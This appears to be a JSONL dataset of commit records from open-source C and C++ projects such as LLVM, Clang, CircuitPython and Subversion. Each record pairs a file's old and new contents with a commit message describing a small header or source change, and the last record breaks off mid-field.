{"commit":"77567b0280eb5f326b0860096f473bb69064e672","old_file":"iOSNativeiPadApp\/EdKeyNote\/EdKeyNote\/EdKeyNote\/EKNAppDelegate.h","new_file":"iOSNativeiPadApp\/EdKeyNote\/EdKeyNote\/EdKeyNote\/EKNAppDelegate.h","old_contents":"\/\/\n\/\/  EKNAppDelegate.h\n\/\/  EdKeyNote\n\/\/\n\/\/  Created by canviz on 9\/22\/14.\n\/\/  Copyright (c) 2014 canviz. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"EKNDeskTopViewController.h\"\n#import \"EKNLoginViewController.h\"\n\n@interface EKNAppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (strong, nonatomic) UIWindow *window;\n\n@property (strong, nonatomic) EKNLoginViewController *viewController;\n@property (strong, nonatomic) UINavigationController *naviController;\n\n@end\n","new_contents":"\/\/\n\/\/  EKNAppDelegate.h\n\/\/  EdKeyNote\n\/\/\n\/\/  Created by canviz on 9\/22\/14.\n\/\/  Copyright (c) 2014 canviz. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"EKNLoginViewController.h\"\n\n@interface EKNAppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (strong, nonatomic) UIWindow *window;\n\n@property (strong, nonatomic) EKNLoginViewController *viewController;\n@property (strong, nonatomic) UINavigationController *naviController;\n\n@end\n","subject":"Remove the import for EKNDeskTopViewController.h","message":"Remove the import for EKNDeskTopViewController.h\n","lang":"C","license":"apache-2.0","repos":"weshackett\/Property-Inspection-Code-Sample,mslaugh\/Property-Inspection-Code-Sample,OfficeDev\/Property-Inspection-Code-Sample,weshackett\/Property-Inspection-Code-Sample,OfficeDev\/Property-Inspection-Code-Sample,mslaugh\/Property-Inspection-Code-Sample,OfficeDev\/Property-Inspection-Code-Sample,weshackett\/Property-Inspection-Code-Sample,OfficeDev\/Property-Inspection-Code-Sample,mslaugh\/Property-Inspection-Code-Sample,mslaugh\/Property-Inspection-Code-Sample,OfficeDev\/Property-Inspection-Code-Sample,weshackett\/Property-Inspection-Code-Sample,weshackett\/Property-Inspection-Code-Sample,mslaugh\/Property-Inspection-Code-Sample,mslaugh\/Property-Inspection-Code-Sample,weshackett\/Property-Inspection-Code-Sample,OfficeDev\/Property-Inspection-Code-Sample,OfficeDev\/Property-Inspection-Code-Sample"}
{"commit":"4c835203b2e41aa8b7c61c9e1daaf9a6c4bfb6eb","old_file":"Mac\/mwerks\/mwerks_plugin_config.h","new_file":"Mac\/mwerks\/mwerks_plugin_config.h","old_contents":"\/*\n** Config file for dynamically-loaded ppc\/cfm68k plugin modules.\n*\/\n\n\/* #define USE_GUSI1\t\t\/* Stdio implemented with GUSI *\/\n#define USE_GUSI2\t\t\/* Stdio implemented with GUSI *\/\n#define WITH_THREAD\t\t\/* Use thread support (needs GUSI 2, not GUSI 1) *\/\n#define USE_MSL\t\t\t\/* Use MSL libraries *\/\n#ifdef USE_MSL\n#define MSL_USE_PRECOMPILED_HEADERS 0\t\/* Don't use precomp headers: we include our own *\/\n#include <ansi_prefix.mac.h>\n#endif\n","new_contents":"\/*\n** Config file for dynamically-loaded ppc\/cfm68k plugin modules.\n*\/\n\n\/* #define USE_GUSI1\t\t\/* Stdio implemented with GUSI *\/\n#define USE_GUSI2\t\t\/* Stdio implemented with GUSI *\/\n#if defined(USE_GUSI1) || defined(USE_GUSI2)\n#define USE_GUSI\n#endif\n#define WITH_THREAD\t\t\/* Use thread support (needs GUSI 2, not GUSI 1) *\/\n#define USE_MSL\t\t\t\/* Use MSL libraries *\/\n#ifdef USE_MSL\n#define MSL_USE_PRECOMPILED_HEADERS 0\t\/* Don't use precomp headers: we include our own *\/\n#include <ansi_prefix.mac.h>\n#endif\n","subject":"Define USE_GUSI if USE_GUSI1 or USE_GUSI2 is defined.","message":"Define USE_GUSI if USE_GUSI1 or USE_GUSI2 is defined.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"d82e2c1a1f7373fe89ce854d94915ad420596aa2","old_file":"include\/clang\/Sema\/CodeCompleteOptions.h","new_file":"include\/clang\/Sema\/CodeCompleteOptions.h","old_contents":"\/\/===---- CodeCompleteOptions.h - Code Completion Options -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_SEMA_CODECOMPLETEOPTIONS_H\n#define LLVM_CLANG_SEMA_CODECOMPLETEOPTIONS_H\n\n\/\/\/ Options controlling the behavior of code completion.\nclass CodeCompleteOptions {\npublic:\n  \/\/\/< Show macros in code completion results.\n  unsigned IncludeMacros : 1;\n\n  \/\/\/< Show code patterns in code completion results.\n  unsigned IncludeCodePatterns : 1;\n\n  \/\/\/< Show top-level decls in code completion results.\n  unsigned IncludeGlobals : 1;\n\n  \/\/\/< Show brief documentation comments in code completion results.\n  unsigned IncludeBriefComments : 1;\n\n  CodeCompleteOptions() :\n      IncludeMacros(0),\n      IncludeCodePatterns(0),\n      IncludeGlobals(1),\n      IncludeBriefComments(0)\n  { }\n};\n\n#endif\n\n","new_contents":"\/\/===---- CodeCompleteOptions.h - Code Completion Options -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_SEMA_CODECOMPLETEOPTIONS_H\n#define LLVM_CLANG_SEMA_CODECOMPLETEOPTIONS_H\n\n\/\/\/ Options controlling the behavior of code completion.\nclass CodeCompleteOptions {\npublic:\n  \/\/\/ Show macros in code completion results.\n  unsigned IncludeMacros : 1;\n\n  \/\/\/ Show code patterns in code completion results.\n  unsigned IncludeCodePatterns : 1;\n\n  \/\/\/ Show top-level decls in code completion results.\n  unsigned IncludeGlobals : 1;\n\n  \/\/\/ Show brief documentation comments in code completion results.\n  unsigned IncludeBriefComments : 1;\n\n  CodeCompleteOptions() :\n      IncludeMacros(0),\n      IncludeCodePatterns(0),\n      IncludeGlobals(1),\n      IncludeBriefComments(0)\n  { }\n};\n\n#endif\n\n","subject":"Fix comments: these are not trailing comments","message":"Fix comments: these are not trailing comments\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@174197 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"1b374d72764837fb898f9b0aa4f2c83785818198","old_file":"halley\/net\/include\/halley\/net\/imessage.h","new_file":"halley\/net\/include\/halley\/net\/imessage.h","old_contents":"#pragma once\n#include <gsl\/gsl_byte>\n#include <gsl\/span>\n\nnamespace Halley\n{\n\tclass IMessage\n\t{\n\tpublic:\n\t\tvirtual ~IMessage() {}\n\n\t\tvirtual size_t getSerializedSize() = 0;\n\t\tvirtual void serializeTo(gsl::span<gsl::byte> dst) = 0;\n\t};\n}\n","new_contents":"#pragma once\n#include <gsl\/gsl>\n\nnamespace Halley\n{\n\tclass IMessage\n\t{\n\tpublic:\n\t\tvirtual ~IMessage() {}\n\n\t\tvirtual size_t getSerializedSize() = 0;\n\t\tvirtual void serializeTo(gsl::span<gsl::byte> dst) = 0;\n\t};\n}\n","subject":"Change include to fix compilation.","message":"Change include  to fix compilation.\n","lang":"C","license":"apache-2.0","repos":"amzeratul\/halley,amzeratul\/halley,amzeratul\/halley"}
{"commit":"f858f7f3804ea20b80a38dab9b1b2d098e1df2a1","old_file":"include\/llvm\/Transforms\/Instrumentation.h","new_file":"include\/llvm\/Transforms\/Instrumentation.h","old_contents":"\/\/===- Transforms\/Instrumentation.h - Instrumentation passes ----*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This files defines constructor functions for instrumentation passes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_INSTRUMENTATION_H\n#define LLVM_TRANSFORMS_INSTRUMENTATION_H\n\nnamespace llvm {\n\nclass Pass;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Support for inserting LLVM code to print values at basic block and function\n\/\/ exits.\n\/\/\nPass *createTraceValuesPassForFunction();     \/\/ Just trace function entry\/exit\nPass *createTraceValuesPassForBasicBlocks();  \/\/ Trace BB's and methods\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===- Transforms\/Instrumentation.h - Instrumentation passes ----*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This files defines constructor functions for instrumentation passes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_INSTRUMENTATION_H\n#define LLVM_TRANSFORMS_INSTRUMENTATION_H\n\nnamespace llvm {\n\nclass ModulePass;\nclass FunctionPass;\n\n\/\/ Reoptimizer support pass: add instrumentation calls to back-edges of loops\nModulePass *createLoopInstrumentationPass ();\n\n\/\/ Reoptimizer support pass: combine multiple back-edges w\/ same target into one\nFunctionPass *createCombineBranchesPass();\n\n\/\/ Reoptimizer support pass: emit table of global functions\nFunctionPass *createEmitFunctionTablePass ();\n\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Support for inserting LLVM code to print values at basic block and function\n\/\/ exits.\n\/\/\n\n\/\/ Just trace function entry\/exit\nFunctionPass *createTraceValuesPassForBasicBlocks();\n\n\/\/ Trace BB's and methods\nFunctionPass *createTraceValuesPassForFunction();\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Add accessor function prototypes for reoptimizer support passes. Make accessors return FunctionPass* as appropriate.","message":"Add accessor function prototypes for reoptimizer support passes.\nMake accessors return FunctionPass* as appropriate.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@16619 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm"}
{"commit":"dac047db615cb36da26e5502fb430771166f251f","old_file":"ports\/raspberrypi\/boards\/adafruit_feather_rp2040\/mpconfigboard.h","new_file":"ports\/raspberrypi\/boards\/adafruit_feather_rp2040\/mpconfigboard.h","old_contents":"#define MICROPY_HW_BOARD_NAME \"Adafruit Feather RP2040\"\n#define MICROPY_HW_MCU_NAME \"rp2040\"\n\n#define MICROPY_HW_NEOPIXEL (&pin_GPIO16)\n\n#define DEFAULT_I2C_BUS_SCL (&pin_GPIO3)\n#define DEFAULT_I2C_BUS_SDA (&pin_GPIO2)\n\n#define DEFAULT_SPI_BUS_SCK (&pin_GPIO18)\n#define DEFAULT_SPI_BUS_MOSI (&pin_GPIO19)\n#define DEFAULT_SPI_BUS_MISO (&pin_GPIO20)\n\n\/\/ #define DEFAULT_UART_BUS_RX (&pin_PA11)\n\/\/ #define DEFAULT_UART_BUS_TX (&pin_PA10)\n\n\/\/ Flash chip is GD25Q32 connected over QSPI\n#define TOTAL_FLASH_SIZE (4 * 1024 * 1024)\n","new_contents":"#define MICROPY_HW_BOARD_NAME \"Adafruit Feather RP2040\"\n#define MICROPY_HW_MCU_NAME \"rp2040\"\n\n#define MICROPY_HW_NEOPIXEL (&pin_GPIO16)\n\n#define DEFAULT_I2C_BUS_SCL (&pin_GPIO3)\n#define DEFAULT_I2C_BUS_SDA (&pin_GPIO2)\n\n#define DEFAULT_SPI_BUS_SCK (&pin_GPIO18)\n#define DEFAULT_SPI_BUS_MOSI (&pin_GPIO19)\n#define DEFAULT_SPI_BUS_MISO (&pin_GPIO20)\n\n\/\/ #define DEFAULT_UART_BUS_RX (&pin_PA11)\n\/\/ #define DEFAULT_UART_BUS_TX (&pin_PA10)\n\n\/\/ Flash chip is GD25Q64 connected over QSPI\n#define TOTAL_FLASH_SIZE (8 * 1024 * 1024)\n","subject":"Update Feather RP2040 to 8MB","message":"Update Feather RP2040 to 8MB","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"b949183f1deda980e0ff77e067dc8d1eed2775c8","old_file":"serial.h","new_file":"serial.h","old_contents":"#ifndef _SERIAL_H_\n#define _SERIAL_H_\n\n#include \"hardware\/packet.h\"\n\n#define SERIAL_SUCCESS 1\n#define SERIAL_ERROR !SERIAL_SUCCESS\n\nunsigned int serial_connect(char device[]);\nunsigned int serial_transmit(struct Packet packet);\nunsigned int serial_close();\n\n#endif\n","new_contents":"#ifndef _SERIAL_H_\n#define _SERIAL_H_\n\n#include \"hardware\/packet.h\"\n\n#define SERIAL_SUCCESS 1\n#define SERIAL_ERROR (!SERIAL_SUCCESS)\n\nunsigned int serial_connect(char device[]);\nunsigned int serial_transmit(struct Packet packet);\nunsigned int serial_close();\n\n#endif\n","subject":"Add brackets around SERIAL_ERROR definition for compatibility","message":"Add brackets around SERIAL_ERROR definition for compatibility\n","lang":"C","license":"agpl-3.0","repos":"jackwilsdon\/lightcontrol,jackwilsdon\/lightcontrol"}
{"commit":"b483dd161b054adcff933fd073550bf8f7cc1c47","old_file":"include\/pector\/malloc_allocator_compat.h","new_file":"include\/pector\/malloc_allocator_compat.h","old_contents":"#ifndef PECTOR_MALLOC_ALLOCATOR_COMPAT_H\n#define PECTOR_MALLOC_ALLOCATOR_COMPAT_H\n\n#ifdef __APPLE__\n#include <malloc\/malloc.h>\n#else\n#include <malloc.h>\n#endif\n\n#if defined __GNUC__ || defined _WIN32 || defined __APPLE__\n\n#define PT_SIZE_AWARE_COMPAT\n\n#if defined __GNUC__ && !defined _WIN32 && !defined __APPLE__\n#define PT_MALLOC_USABLE_SIZE(p) malloc_usable_size(p)\n#elif defined _WIN32\n#define PT_MALLOC_USABLE_SIZE(p) _msize(p)\n#elif defined __APPLE__\n#define PTçMALLOC_USABLE_SIZE(p) malloc_size(p)\n#endif\n\n#endif \/\/ defined __GNUC__ || defined _WIN32 || defined __APPLE__\n\n\n#endif\n","new_contents":"#ifndef PECTOR_MALLOC_ALLOCATOR_COMPAT_H\n#define PECTOR_MALLOC_ALLOCATOR_COMPAT_H\n\n#ifdef __APPLE__\n#include <malloc\/malloc.h>\n#else\n#include <malloc.h>\n#endif\n\n#if defined __GNUC__ || defined _WIN32 || defined __APPLE__ || defined __FreeBSD__\n\n#define PT_SIZE_AWARE_COMPAT\n\n#if defined _WIN32\n#define PT_MALLOC_USABLE_SIZE(p) _msize(p)\n#elif defined __APPLE__\n#define PT_MALLOC_USABLE_SIZE(p) malloc_size(p)\n#elif defined __GNUC__ || defined __FreeBSD__\n#define PT_MALLOC_USABLE_SIZE(p) malloc_usable_size(p)\n#endif\n\n#endif \/\/ defined __GNUC__ || defined _WIN32 || defined __APPLE__\n\n\n#endif\n","subject":"Add FreeBSD as platform supporting malloc_usable_size","message":"Add FreeBSD as platform supporting malloc_usable_size\n","lang":"C","license":"lgpl-2.1","repos":"pjump\/pector,aguinet\/pector,pjump\/pector,aguinet\/pector"}
{"commit":"1f8565900ffd65dc10e7d0341e29f284c480deab","old_file":"src\/include\/TVector.h","new_file":"src\/include\/TVector.h","old_contents":"\/******************************\n* AUTHOR : GUSTAVO MARTINS\n* USE AS YOU WISH\n* DATE : 11\/25\/2015\n* LANG : ANSI C\n* DESCR : A VERY SIMPLE\n* 3D VECTOR LIBRARY\n******************************\/\n\n#ifndef TVECTOR_H\n#define TVECTOR_H\n\ntypedef struct SVector *TVector;\n\nTVector createVector(double x, double y, double z);\nTVector createNullVector();\nvoid freeVector(TVector vec);\n\ndouble getX(TVector vec);\ndouble getY(TVector vec);\ndouble getZ(TVector vec);\n\nvoid setX(TVector vec, double x);\nvoid setY(TVector vec, double y);\nvoid setZ(TVector vec, double z);\n\ndouble getLength(TVector vec);\nvoid normalizeVector(TVector vec);\n\ndouble doDotProduct(TVector vecA, TVector vecB, double angle);\nTVector doScalarProduct(TVector vec, double scalar);\nTVector doCrossProduct(TVector vecA, TVector vecB);\nTVector doNormalize(TVector vec);\n\nTVector createCopyVector(TVector vec);\n\n#endif","new_contents":"\/******************************\n* AUTHOR : GUSTAVO MARTINS\n* USE AS YOU WISH\n* DATE : 11\/25\/2015\n* LANG : ANSI C\n* DESCR : A VERY SIMPLE\n* 3D VECTOR LIBRARY\n******************************\/\n\n#ifndef TVECTOR_H\n#define TVECTOR_H\n\ntypedef struct SVector *TVector;\n\nTVector createVector(double x, double y, double z);\nTVector createNullVector();\nvoid freeVector(TVector vec);\n\ndouble getX(TVector vec);\ndouble getY(TVector vec);\ndouble getZ(TVector vec);\n\nvoid setX(TVector vec, double x);\nvoid setY(TVector vec, double y);\nvoid setZ(TVector vec, double z);\n\ndouble getLength(TVector vec);\nvoid normalizeVector(TVector vec);\n\ndouble doDotProduct(TVector vecA, TVector vecB, double angle);\nTVector doScalarProduct(TVector vec, double scalar);\nTVector doCrossProduct(TVector vecA, TVector vecB);\nTVector doSum(TVector vecA, TVector vecB);\nTVector doSub(TVector vecA, TVector vecB);\nTVector doNormalize(TVector vec);\n\nTVector createCopyVector(TVector vec);\n\n#endif","subject":"Add new functions to header","message":"Add new functions to header\n","lang":"C","license":"mit","repos":"gugamm\/Simple-Vector-Library"}
{"commit":"2e91ae16b74c9fe73444347640ff7a1545809844","old_file":"example1.c","new_file":"example1.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"suspect.h\"\n\nsuspect_context(\"Euler's Method\",\n\tsuspect_test(\"Predicts y_{n+1} to within the expected threshhold\",\n\t\tsuspect_assert(\"Expected 1 < 0\", -1 < 0);\n\t)\n\n\tsuspect_test(\"Does not explode\",\n\t\tsuspect_assert(\"Expected -1 < 0\", -1 < 0);\n\t)\n\n\tsuspect_test(\"Knows about Tony\",\n\t\tsuspect_assert(\"Tony is a dork\", 2 < 1);\n\t)\n)\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"suspect.h\"\n\nsuspect_context(\"Euler's Method\",\n\tsuspect_test(\"Expect actual to be within epsilon of target\",\n\t\tfloat actual = 5.426;\n\t\tfloat epsilon = 0.01;\n\t\tfloat target = 5.00;\n\t\tsuspect_epsilon(actual,epsilon,target);\n\t)\n\n\tsuspect_test(\"Does not explode\",\n\t\tsuspect_assert(\"Expected -1 < 0\", -1 < 0);\n\t)\n\n\tsuspect_test(\"Knows about Tony\",\n\t\tsuspect_assert(\"Tony is a dork\", 2 < 1);\n\t)\n)\n","subject":"Include use case of epsilon","message":"Include use case of epsilon\n","lang":"C","license":"mit","repos":"robertdfrench\/Suspect"}
{"commit":"63aed9a9b6c82e1c9114784721c9a2edff7d0e68","old_file":"ch1\/ex3\/farh_to_celsius_v2.c","new_file":"ch1\/ex3\/farh_to_celsius_v2.c","old_contents":"#include <stdio.h>\n\n\nfloat K_5_BY_9 = 5.0 \/ 9.0;\nfloat K_32 = 32;\n\n\nint main(void)\n{\n    float fahr, celsius;\n    int lower, upper, step;\n\n    lower = 0;\n    upper = 300;\n    step = 20;\n    \n    printf(\"|-----------|\\n\");\n    printf(\"|%4s|%6s|\\n\", \"F\", \"C\");\n    printf(\"|-----------|\\n\");\n\n    fahr = lower;\n    while (fahr <= upper) {\n        celsius = K_5_BY_9 * (fahr - K_32);\n        printf(\"|%4.0f|%6.1f|\\n\", fahr, celsius);\n        fahr = fahr + step;\n    }\n\n    printf(\"|-----------|\\n\");\n    \n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n\nfloat K_5_BY_9 = 5.0 \/ 9.0;\nfloat K_32 = 32;\n\nint SUCCESS = 0;\n\n\nint main(void)\n{\n    float fahrenheit, celsius;\n    int lower, upper, step;\n\n    lower = 0;\n    upper = 300;\n    step = 20;\n    \n    printf(\"|-----------|\\n\");\n    printf(\"|%4s|%6s|\\n\", \"F\", \"C\");\n    printf(\"|-----------|\\n\");\n\n    fahrenheit = lower;\n    while (fahrenheit <= upper) {\n        celsius = K_5_BY_9 * (fahrenheit - K_32);\n        printf(\"|%4.0f|%6.1f|\\n\", fahrenheit, celsius);\n        fahrenheit = fahrenheit + step;\n    }\n\n    printf(\"|-----------|\\n\");\n    \n    return SUCCESS;\n}\n","subject":"Update ch1\/ex3 v2 exercise with more readable code","message":"Update ch1\/ex3 v2 exercise with more readable code\n","lang":"C","license":"bsd-3-clause","repos":"rmk135\/the-c-programming-language"}
{"commit":"21465b20594432e4d73b5eaa75e34ef00761face","old_file":"subversion\/libsvn_fs\/txn.h","new_file":"subversion\/libsvn_fs\/txn.h","old_contents":"\/* node.h : interface to node functions, private to libsvn_fs\n *\n * ====================================================================\n * Copyright (c) 2000 CollabNet.  All rights reserved.\n *\n * This software is licensed as described in the file COPYING, which\n * you should have received as part of this distribution.  The terms\n * are also available at http:\/\/subversion.tigris.org\/license-1.html.\n * If newer versions of this license are posted there, you may use a\n * newer version instead, at your option.\n * ====================================================================\n *\/\n\n#ifndef SVN_LIBSVN_FS_TXN_H\n#define SVN_LIBSVN_FS_TXN_H\n\n\/* Create a new `transactions' table for the new filesystem FS.\n   FS->env must already be open; this sets FS->nodes.  *\/\nsvn_error_t *svn_fs__create_transactions (svn_fs_t *fs);\n\n\n\/* Open the existing `transactions' table for the filesystem FS.\n   FS->env must already be open; this sets FS->nodes.  *\/\nsvn_error_t *svn_fs__open_transactions (svn_fs_t *fs);\n\n\n\/* Return a pointer to the ID of TXN.  The return value is live for as\n   long as TXN is.  *\/\nchar *svn_fs__txn_id (svn_fs_txn_t *txn);\n\n\n#endif \/* SVN_LIBSVN_FS_TXN_H *\/\n\n\n\f\n\/*\n * local variables:\n * eval: (load-file \"..\/svn-dev.el\")\n * end:\n *\/\n","new_contents":"\/* txn.h : interface to Subversion transactions, private to libsvn_fs\n *\n * ====================================================================\n * Copyright (c) 2000 CollabNet.  All rights reserved.\n *\n * This software is licensed as described in the file COPYING, which\n * you should have received as part of this distribution.  The terms\n * are also available at http:\/\/subversion.tigris.org\/license-1.html.\n * If newer versions of this license are posted there, you may use a\n * newer version instead, at your option.\n * ====================================================================\n *\/\n\n#ifndef SVN_LIBSVN_FS_TXN_H\n#define SVN_LIBSVN_FS_TXN_H\n\n\/* Create a new `transactions' table for the new filesystem FS.\n   FS->env must already be open; this sets FS->nodes.  *\/\nsvn_error_t *svn_fs__create_transactions (svn_fs_t *fs);\n\n\n\/* Open the existing `transactions' table for the filesystem FS.\n   FS->env must already be open; this sets FS->nodes.  *\/\nsvn_error_t *svn_fs__open_transactions (svn_fs_t *fs);\n\n\n\/* Return a pointer to the ID of TXN.  The return value is live for as\n   long as TXN is.  *\/\nchar *svn_fs__txn_id (svn_fs_txn_t *txn);\n\n\n#endif \/* SVN_LIBSVN_FS_TXN_H *\/\n\n\n\f\n\/*\n * local variables:\n * eval: (load-file \"..\/svn-dev.el\")\n * end:\n *\/\n","subject":"Fix descriptive comment at top of file.","message":"Fix descriptive comment at top of file.\n","lang":"C","license":"apache-2.0","repos":"jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion"}
{"commit":"8a6513105010a0e334ccf8cf3f4c017abf2b44ae","old_file":"src\/sail\/game_struct.h","new_file":"src\/sail\/game_struct.h","old_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"..\/common\/id_map.hpp\"\n#include \"boat.h\"\n#include \"..\/collisionlib\/motion.h\"\nnamespace redc { namespace sail\n{\n  struct Player\n  {\n    std::string name;\n    bool spawned;\n\n    Hull_Desc boat_config;\n    collis::Motion boat_motion;\n  };\n\n  struct Game\n  {\n    ID_Map<Player> players;\n  };\n} }\n","new_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"..\/common\/id_map.hpp\"\n#include \"boat.h\"\n#include \"..\/collisionlib\/motion.h\"\nnamespace redc { namespace sail\n{\n  struct Player\n  {\n    std::string name;\n    bool spawned;\n\n    Hull_Desc boat_config;\n    collis::Motion boat_motion;\n\n    void* userdata;\n  };\n\n  struct Game\n  {\n    ID_Map<Player> players;\n  };\n} }\n","subject":"Add user data to Game struct","message":"Add user data to Game struct\n","lang":"C","license":"bsd-3-clause","repos":"RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine"}
{"commit":"e084ce3506c805a4667aa2d32ef249c5754244cc","old_file":"ext\/libxml\/ruby_xml_state.c","new_file":"ext\/libxml\/ruby_xml_state.c","old_contents":"\/* $Id$ *\/\n\n#include \"ruby_libxml.h\"\n\nVALUE cXMLState;\nVALUE LIBXML_STATE = Qnil;\n\nstatic int dummy = 0;\n\nvoid\nruby_xml_state_free(int dummy) {\n  xmlCleanupParser();\n  LIBXML_STATE = Qnil;\n}\n\nVALUE\nruby_xml_state_alloc() {\n  #ifdef DEBUG\n  fprintf(stderr, \"Allocating state\");\n  #endif\n  \n  xmlInitParser();\r\n  \n  return Data_Wrap_Struct(cXMLState,\n\t\t\t  NULL, ruby_xml_state_free,\n\t\t\t  &dummy);\n}\n\n\/\/ Rdoc needs to know \r\n#ifdef RDOC_NEVER_DEFINED\r\n  mXML = rb_define_module(\"XML\");\r\n#endif\r\n\nvoid\nruby_init_state(void) {\t\n  VALUE rb_mSingleton;\n  cXMLState = rb_define_class_under(mXML, \"State\", rb_cObject);\n  \n  \/* Mixin singleton so only one xml state object can be created. *\/\n  rb_require(\"singleton\");\r\n  rb_mSingleton = rb_const_get(rb_cObject, rb_intern(\"Singleton\"));\r\n  rb_include_module(cXMLState, rb_mSingleton);\r\n\r\n  rb_define_alloc_func(cXMLState, ruby_xml_state_alloc);\r\n\r\n  \/* Create one instance of the state object that is used\n     to initalize and cleanup libxml. Then register it with\n     the garbage collector so its not freed until the process\n     exists.*\/\n  LIBXML_STATE = rb_class_new_instance(0, NULL, cXMLState);\r\n  rb_global_variable(&LIBXML_STATE);  \r\n}\n","new_contents":"\/* $Id$ *\/\n\n#include \"ruby_libxml.h\"\n\nVALUE cXMLState;\nVALUE LIBXML_STATE = Qnil;\n\nstatic int dummy = 0;\n\nvoid\nruby_xml_state_free(int dummy) {\n  xmlCleanupParser();\n  LIBXML_STATE = Qnil;\n}\n\nVALUE\nruby_xml_state_alloc(VALUE klass) {\n  #ifdef DEBUG\n  fprintf(stderr, \"Allocating state\");\n  #endif\n  \n  xmlInitParser();\n  \n  return Data_Wrap_Struct(cXMLState,\n\t\t\t  NULL, ruby_xml_state_free,\n\t\t\t  &dummy);\n}\n\n\/\/ Rdoc needs to know \n#ifdef RDOC_NEVER_DEFINED\n  mXML = rb_define_module(\"XML\");\n#endif\n\nvoid\nruby_init_state(void) {\t\n  VALUE rb_mSingleton;\n  cXMLState = rb_define_class_under(mXML, \"State\", rb_cObject);\n  \n  \/* Mixin singleton so only one xml state object can be created. *\/\n  rb_require(\"singleton\");\n  rb_mSingleton = rb_const_get(rb_cObject, rb_intern(\"Singleton\"));\n  rb_include_module(cXMLState, rb_mSingleton);\n\n  rb_define_alloc_func(cXMLState, ruby_xml_state_alloc);\n\n  \/* Create one instance of the state object that is used\n     to initalize and cleanup libxml. Then register it with\n     the garbage collector so its not freed until the process\n     exists.*\/\n  LIBXML_STATE = rb_class_new_instance(0, NULL, cXMLState);\n  rb_global_variable(&LIBXML_STATE);  \n}\n","subject":"Fix declaration of alloc function.","message":"Fix declaration of alloc 